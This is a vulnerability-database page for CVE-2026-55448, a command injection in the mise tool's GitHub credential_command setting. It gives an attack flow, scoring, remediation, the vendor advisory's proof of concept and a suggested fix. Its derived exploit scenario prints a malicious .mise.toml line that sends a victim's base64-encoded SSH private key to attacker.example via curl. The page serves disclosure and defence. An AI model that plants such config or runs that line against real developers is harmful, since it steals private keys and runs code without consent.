Skip to main content

mise EUVDEUVD-2026-39813

| CVE-2026-55448 MEDIUM
OS Command Injection (CWE-78)
2026-06-23 https://github.com/jdx/mise GHSA-29hf-rm4x-xxph
6.3
CVSS 3.1 · Vendor: https://github.com/jdx/mise
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker commits malicious `.mise.toml` to repository
  2. Delivery
    Victim clones repository without auditing config
  3. Exploit
    Victim runs mise GitHub-related command with no GITHUB_TOKEN set
  4. Execution
    mise loads credential_command from untrusted local config without trust check
  5. Persist
    sh -c executes attacker-controlled shell payload
  6. Impact
    Arbitrary commands run as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must all be true simultaneously: (1) the victim is running mise v2026.3.15 or later and < 2026.6.4; (2) the victim runs a mise command that triggers GitHub token resolution (e.g., mise github token or fetching a GitHub-authenticated resource); and (3) none of the four higher-priority environment variables - GITHUB_TOKEN, GITHUB_API_TOKEN, MISE_GITHUB_TOKEN, or MISE_GITHUB_ENTERPRISE_TOKEN - is set in the victim's shell environment at the time of execution. The attacker must additionally have write access to a repository (or any directory mise will read a .mise.toml from) to place the malicious config. If any higher-priority token source is set, the credential_command code path is skipped and exploitation fails. This condition meaningfully limits the exposed population to developers who have not globally configured a GitHub token.

Impact

The CVSS 3.1 score of 6.3 (AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N) correctly captures the real-world constraints. Attack complexity is genuinely high: exploitation requires the victim to run a GitHub-related mise command with none of the four higher-priority token environment variables (GITHUB_TOKEN, GITHUB_API_TOKEN, MISE_GITHUB_TOKEN, MISE_GITHUB_ENTERPRISE_TOKEN) set, which is a meaningful barrier for developers who have GitHub tokens globally configured. User interaction is required - the victim must actively invoke mise in the malicious repository. However, the C:H/I:H impact correctly reflects arbitrary code execution as the victim user. No EPSS score was provided in the input. No CISA KEV listing at time of analysis, so active exploitation in the wild is unconfirmed. The confirmed POC in the GHSA advisory means this is immediately exploitable by any attacker with repository write access, making it a real priority for developer teams where GITHUB_TOKEN is not globally enforced.

Exploit ScenarioDerived

An attacker commits a .mise.toml containing [settings.github] credential_command = "curl http://attacker.example/exfil?key=$(cat ~/.ssh/id_rsa | base64); echo ghp_fake" to a public or shared repository. When a developer clones the repository and runs any mise command that triggers GitHub token resolution - such as mise github token - without a GITHUB_TOKEN environment variable set, mise executes the attacker-supplied shell command with the developer's full user privileges. A working proof-of-concept for this exact scenario is confirmed in the GHSA advisory on Docker linux-arm64 with mise v2026.3.17.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Command injection in mise's GitHub credential resolver executes attacker-controlled shell commands on the victim developer's machine when a malicious .mise.toml is placed in a repository and no higher-priority GitHub token environment variable is set. Versions v2026.3.15 through v2026.3.17 (and all releases up to < 2026.6.4) pass github.credential_command from untrusted local project config directly to sh -c without any trust verification. A working proof-of-concept is confirmed per GHSA-29hf-rm4x-xxph on Docker linux-arm64; no CISA KEV listing at time of analysis, but POC availability elevates practical risk above the moderate CVSS base score.

RemediationAI

Upgrade mise to version 2026.6.4 or later, which restricts github.credential_command to global config files only, per the vendor advisory at https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph. As an immediate workaround prior to patching, set a GitHub token environment variable (GITHUB_TOKEN, GITHUB_API_TOKEN, MISE_GITHUB_TOKEN, or MISE_GITHUB_ENTERPRISE_TOKEN) in your global shell profile - exploitation only triggers when all four are unset, so a globally configured token fully blocks the attack path. A second workaround is to audit .mise.toml files for [settings.github] sections before running mise in any cloned repository. Note that the environment-variable workaround mitigates exploitation without fixing the underlying trust enforcement defect, so upgrading to 2026.6.4 remains the definitive remediation.

Affected VersionsENISA

mise < 2026.6.4

Affected Packages

cargo mise fix: 2026.6.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in cargo

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mise (CPE: pkg:rust/mise) is a polyglot developer environment manager that manages runtime versions and project settings via .mise.toml files. CWE-78 (OS Command Injection) applies because the github.credential_command setting is passed unsanitized to std::process::Command::new("sh").arg("-c").arg(cmd) inside get_credential_command_token() in src/github.rs:558-599. The vulnerable code path is: Settings::try_get() (src/config/settings.rs:254-283) loads local config → parse_settings_file() (src/config/settings.rs:505-510) returns settings_file.settings without verifying whether the source file is globally trusted → resolve_token() (src/github.rs:344-390) evaluates credential_command before file-based token sources → shell execution. The root cause is that parse_settings_file() performs no trust gating on local project configs; the setting was accepted starting in v2026.3.15 (v2026.3.14 rejected it as an unknown field).

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/jdx/mise) PRIMARY 6.3 MEDIUM
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
vuln.today AI 6.3 MEDIUM

AV:L because execution is triggered locally on the victim's machine; AC:H because GITHUB_TOKEN must be absent; UI:R because the victim must run a mise command; no availability impact demonstrated.

3.1 AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
4.0 AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/jdx/mise).

CVSS VectorVendor: https://github.com/jdx/mise

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

  1. Settings::try_get() preloads settings from local config files.
  2. parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.
  3. resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.
  4. get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

rust
let result = std::process::Command::new("sh")
    .arg("-c")
    .arg(cmd)
    .arg("mise-credential-helper")
    .arg(host)
    .output()

If a local project file sets:

toml
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

bash
export GITHUB_TOKEN=env_token
mise github token --unmask

Observed:

text
github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing

Primary exploit:

toml
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

bash
unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask

Observed:

text
github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

text
/tmp/mise-proof.txt => credential_command_rce

Related version check:

  • v2026.3.14: credential_command is rejected as an unknown field
  • v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

  • arbitrary command execution as the victim user
  • no trust prompt
  • no need for [env], [hooks], tasks, or templates

Important limitation:

  • if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

rust
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.github.credential_command = None;
    }

    Ok(settings)
}

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
developer-only CLI version manager, limited enterprise production footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy